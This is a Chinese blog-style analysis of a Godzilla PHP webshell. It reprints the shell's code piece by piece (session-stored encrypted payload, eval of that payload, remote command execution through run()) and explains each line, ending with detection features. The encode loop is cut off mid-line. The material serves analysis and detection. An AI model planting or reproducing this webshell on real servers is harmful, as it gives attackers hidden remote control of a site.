哥斯拉PHP马逐句解析


Godzilla Webshell

[*] 参考博文:哥斯拉PHP马分析

1. webshell生成

GenerateShell

  • 密码:pass
  • 密钥:key
  • 有效载荷:PhpDynamicPayload
  • 加密器:PHP_XOR_BASE64

生成Webshell文件:shell.php

<?php

@session_start();			//创建或者重启一个会话
@set_time_limit(0);			//设置程序最长运行时间:永久
@error_reporting(0);			// 关闭错误报告
function encode($D,$K){			//通过密钥对 $D 进行加/解密
    for($i=0;$i
  • 可以看到这个Shell内容不是特别多,攻击荷载都在SESSION里,大部分代码在实现加密通信。一眼看过去好像没有特别明显的特征,不像冰蝎可以直接找"AES"然后看上下文。

    [ 某技术论坛 ]


2. 逐句解析

2.1 开始准备

@session_start();
  • session的工作原理
    1. 首先使用session_start()函数进行初始换
    2. 当执行PHP脚本时,通过使用$_SESSION超全局变量注册session变量。
    3. 当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中, 这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用。
  • session_start()做了哪些初始化工作
    1. 读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123
    2. 若读取到PHPSESSID这个COOKIE,创建$_SESSION变量,并从相应的目录中(可以再php.ini中设置)读取SESS_abc123(默认是这种命名方式)文件,将字符装在入$_SESSION变量中; 若没有读取到PHPSESSID这个COOKIE,也会创建$_SESSION变量,同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。
@set_time_limit(0);
  # 语法:set_time_limit(time);
  • 设置程序执行时间的函数
    1. 括号里边的数字是执行时间,如果为零说明永久执行直到程序结束;
    2. 如果为大于零的数字,则不管程序是否执行完成,到了设定的秒数,程序结束。
@error_reporting(0);
  # 语法:error_reporting(level);
  • 规定不同的错误级别报告:

    1. 关闭错误报告

      error_reporting(0);

    2. 报告 runtime 错误

      error_reporting(E_ERROR | E_WARNING | E_PARSE);

    3. 报告所有错误

      error_reporting(E_ALL);

    4. 等同 error_reporting(E_ALL);

      ini_set("error_reporting", E_ALL);

    5. 报告 E_NOTICE 之外的所有错误

      error_reporting(E_ALL & ~E_NOTICE);

2.2 定义encode函数

function encode($D,$K){
    for($i=0;$i
  • 定义函数encode:

    1. 定义一个循环,用第一个参数($D)的长度来控制循环次数

    2. 将$i加一,然后和15按位与(&),定义一个变量 $C 来存储

      注意:运算符"+" 的优先级比 位运算符"&"要高

2.3 定义三个参数

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
  • 创建三个变量
    1. pass:用来定义木马监听POST请求中的哪个变量,简单来说就是如果给$pass赋值pass,就需要通过在POST请求中给pass变量赋值,去访问该文件,实现远控。
    2. payloadName:$payloadName的值用来在SESSION中存取攻击荷载,可以随意赋值。
    3. key:$key的值用来存储encode()方法中加解密会用到的盐值。

2.4 Webshell主体部分

if (isset($_POST[$pass])){
  • 通过isset()监听POST请求,
$data=encode(base64_decode($_POST[$pass]),$key);
  • 取出传入的攻击荷载/远控命令解密后赋给F
if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
  # 语法:strpos(string,find,start)
  • () f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

    返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

    注意: 字符串位置从 0 开始,不是从 1 开始。

    • 注意:strpos() 函数是区分大小写的。

    • 注意:该函数是二进制安全的。

  • 相关函数

    • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
    • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    • strripos() -查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
$payload=encode($payload,$key);
  • 通过密钥对 $payload 进行加/解密,将
eval($payload);
  # 语法:eval(phpcode)
  • eval() 函数把字符串按照 PHP 代码来计算。

    该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval() 函数返回 FALSE。

echo substr(md5($pass.$key),0,16);
  # 语法:substr(string,start,length)
  • substr() 函数返回字符串的一部分。

    注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

  • 先将远控命令和盐值进行拼接,然后计算拼接得出的字符串的MD5值,取前16位放在返回值前面

echo base64_encode(encode(@run($data),$key));
  • 通过攻击荷载中的 run() 方法执行远控命令,然后对返回的字符串加密,并输出加密后的字符串。
echo substr(md5($pass.$key),16);
  • 取之前计算出的字符串的MD5值第16位后面的部分,放在返回值的后面。回显前后添加字符串,一方面是在进行二次加密,另一方面可以让哥斯拉服务端知道返回的是哪条命令的回显。
if (strpos($data,"getBasicsInfo")!==false){
  • 判断 $date 里是否出现了 "getBasicsInfo"
	$_SESSION[$payloadName]=encode($data,$key);		//将攻击荷载存储到SESSION ?
  • 将攻击荷载存储到SESSION

3. 总结

3.1 木马的利用逻辑:

  1. 第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。

  2. 从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。

3.2 木马特征:

因为涉及到了服务端的运行逻辑、不管再怎么改造、变形,以下几点应该是没法隐藏的:

  1. run()方法是写死在攻击荷载里面的,代码一定会调用这个方法执行传入的参数。
  2. 有一个向SESSION中存储攻击荷载的过程,就是会有一个$_SESSION[$XXX]=P的过程,这里的P是通过POST方法传进来的参数。
  3. 会将传入的参数解密、拼接后取MD5,前16位加到回显的前端,其余的部分加到回显的后端。

4. 其他补充

“@” 符号的意义

  • 它会抑制错误消息。
    1. PHP支持一个错误控制操作符:at符号(@)。当添加到PHP中的表达式时,该表达式可能生成的任何错误消息都将被忽略。
    2. 但要注意的是:这个控制只是将错误信息屏蔽掉,不让其显示出来,并不是真正的解决错误。